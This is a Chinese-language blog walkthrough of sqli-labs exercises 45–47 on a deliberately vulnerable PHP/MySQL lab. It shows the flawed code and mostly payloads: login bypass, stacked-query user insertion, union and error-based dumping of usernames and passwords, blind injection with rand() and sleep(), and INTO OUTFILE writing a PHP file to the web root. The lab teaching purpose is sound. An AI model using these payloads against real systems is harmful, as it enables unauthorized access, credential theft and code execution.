WEB常见漏洞之SQL注入(靶场篇—3)3

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: WEB常见漏洞之SQL注入(靶场篇—3)

Lesson-45

该题为单括号单引号post型注入,利用方式包括联合查询注入、布尔盲注、时间盲注、堆叠注入,登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

目标SQL语句如下:

//login.php

$username=mysqli_real_escape_string($con1, $_POST["login_user"]);

$password=$_POST["login_password"];

$sql="SELECT * FROM users WHERE username=('$username') and password=('$password')";

@mysqli_multi_query($con1, $sql)

# 返回内容

if查询成功:

  输出查询内容;

else:

  输出存在错误;

$login=sqllogin($host,$dbuser,$dbpass, $dbname);

if登录成功:

  setcookie("Auth", 1, time()+3600);

//pass_change.php

$username=$_SESSION["username"];

$curr_pass=mysql_real_escape_string($_POST['current_password']);

$pass=mysql_real_escape_string($_POST['password']);

$re_pass=mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)

$sql="UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

注意:该题与Lesson44的利用方式相同,只不过拼接方式由单引号换成了单括号单引号

使用万能密码尝试登录,成功登录

login_user=admin&login_password=1')%20or%201#&mysubmit=Login

使用堆叠注入判断字段数

login_user=admin&login_password=1')%20order%20by%203#&mysubmit=Login //返回正常页面

这里我们不能使用 order by 来判断字段数,需要通过 union select 判断

login_user=admin&login_password=-1')%20union%20select%201,2,3#&mysubmit=Login

由此可判断字段数为3,我们可利用联合查询、报错注入以及盲注进行攻击,这在之前都已介绍过了,就不再赘述。重点测试堆叠注入,尝试添加字段值

login_user=admin&login_password=1');insert%20into%20users(username,password)%20values('mac','mac')#&mysubmit=Login

通过联合查询查看数据,点击follow后发现字段值已添加

login_user=admin&login_password=-1')%20union%20select%201,(select%20group_concat(concat_ws(0x7e,username,password))%20from%20users),3%20from%20users#&mysubmit=Login

Lesson-46

该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注,本题是对 order by 语句的注入,常见的显示表格的站点一般会使用sortlimit参数来控制数据返回长度

sort=1

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY $id";

# 返回内容

iftrue:

  输出查询内容;

else:

  print_r(mysql_error());

注意:该题将order by作为注入点,它不同于where后的参数注入,因此不能使用联合查询,但可以使用报错注入和盲注

判断注入点的多种方式:

  • 升降序验证

sort=1asc //返回顺序结果

sort=1desc //返回倒序结果

  • rand()验证

sort=rand(true)

sort=rand(false)

rand(true)rand(false)都会返回随机排列的结果

  • 延时验证

sort=sleep(3) //等待3*行数秒才会显示结果

使用报错注入查询基本信息

sort=(selectcount(*)from users groupby concat((selectuser()),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((select version()),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((selectdatabase()),0x7e,floor(rand(0)*2)))

除了以上基础的 floor 报错注入外,还可以使用procedure analyse参数进行注入

sort=1procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)

查询表名,更改 limit 中的前后位数字可控制数据显示位置以及数量

sort=(selectcount(*)from users groupby concat((selecttable_namefrom information_schema.tableswhere table_schema='security'limit0,1),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((selecttable_namefrom information_schema.tableswhere table_schema='security'limit1,1),0x7e,floor(rand(0)*2)))

查询列名

sort=(selectcount(*)from users groupby concat((select column_name from information_schema.columnswheretable_name='users'limit0,1),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((select column_name from information_schema.columnswheretable_name='users'limit1,1),0x7e,floor(rand(0)*2)))

640.png

查询关键信息

sort=(selectcount(*)from users groupby concat((select concat(username,0x7e,password)from users limit0,1),0x7e,floor(rand(0)*2)))

sort=(selectcount(*)from users groupby concat((select concat(username,0x7e,password)from users limit1,1),0x7e,floor(rand(0)*2)))

盲注可使用rand()进行判断,一旦查询正确就会通过rand()函数重新随机排列数组,否则不变,首先测试布尔盲注

sort=rand(left(database(),1)>'s')

sort=rand(left(database(),1)='s')

数据库名的第一个字符为s,其次测试时间盲注

sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))

sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))

使用into outfile将结果导入目标文件中

sort=1intooutfile"C:\\phpStudy\\PHPTutorial\\WWW\\mac.txt"

成功将结果写入mac.txt当中

我们可利用lines terminated by来尝试获取权限

sort=1intooutfile"C:\\phpStudy\\PHPTutorial\\WWW\\mac1.php"linesterminatedby0x3c3f70687020706870696e666f28293f3e0a

访问mac1.php,成功解析

使用十六进制可有效规避字符乱码问题,通过 python 可将利用代码转换为十六进制

echo "<?php phpinfo()?>"| python3 -c "import sys, binascii; print(binascii.hexlify(sys.stdin.buffer.read()).decode())"

Lesson-47

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

sort=1'

目标SQL语句如下:

$id=$_GET['sort'];

$sql="SELECT * FROM users ORDER BY '$id'";

# 返回内容

iftrue:

  输出查询内容;

else:

  print_r(mysql_error());

注意:该题与Lesson46的利用方式相同,只不过拼接方式由数字改为了单引号

使用报错注入判断注入点

sort=1'--+

查询基本信息

sort=1' and (select count(*) from users group by concat((select user()),0x7e,floor(rand(0)*2)))--+

sort=1'and(selectcount(*)from users groupby concat((select version()),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select database()),0x7e,floor(rand(0)*2)))--+

除了以上基础的 floor 报错注入外,还可以使用procedure analyse参数进行注入

sort=1' procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)--+

查询表名,更改 limit 中的前后位数字可控制数据显示位置以及数量

sort=1' and (select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e,floor(rand(0)*2)))--+

查询列名

sort=1' and (select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select column_name from information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

sort=1' and (select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))--+

sort=1' and (select count(*) from users group by concat((select concat(username,0x7e,password) from users limit 1,1),0x7e,floor(rand(0)*2)))--+

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
16天前
|
安全 关系型数据库 MySQL
Web安全-条件竞争漏洞
Web安全-条件竞争漏洞
27 0
|
12天前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
49 8
|
12天前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
18 3
|
14天前
|
安全 应用服务中间件 开发工具
Web安全-SVN信息泄露漏洞分析
Web安全-SVN信息泄露漏洞分析
50 2
|
16天前
|
JSON 安全 JavaScript
Web安全-JQuery框架XSS漏洞浅析
Web安全-JQuery框架XSS漏洞浅析
95 2
|
18天前
|
安全 搜索推荐 应用服务中间件
Web安全-目录遍历漏洞
Web安全-目录遍历漏洞
20 2
|
18天前
|
XML JSON 安全
Web安全-XXE漏洞
Web安全-XXE漏洞
14 1
|
1月前
|
数据库 开发者 Python
web应用开发
【9月更文挑战第1天】web应用开发
41 1
|
28天前
|
数据可视化 图形学 UED
只需四步,轻松开发三维模型Web应用
为了让用户更方便地应用三维模型,阿里云DataV提供了一套完整的三维模型Web模型开发方案,包括三维模型托管、应用开发、交互开发、应用分发等完整功能。只需69.3元/年,就能体验三维模型Web应用开发功能!
60 8
只需四步,轻松开发三维模型Web应用
|
18天前
|
安全 API 开发者
Web 开发新风尚!Python RESTful API 设计与实现,让你的接口更懂开发者心!
在当前的Web开发中,Python因能构建高效简洁的RESTful API而备受青睐,大大提升了开发效率和用户体验。本文将介绍RESTful API的基本原则及其在Python中的实现方法。以Flask为例,演示了如何通过不同的HTTP方法(如GET、POST、PUT、DELETE)来创建、读取、更新和删除用户信息。此示例还包括了基本的路由设置及操作,为开发者提供了清晰的API交互指南。
72 6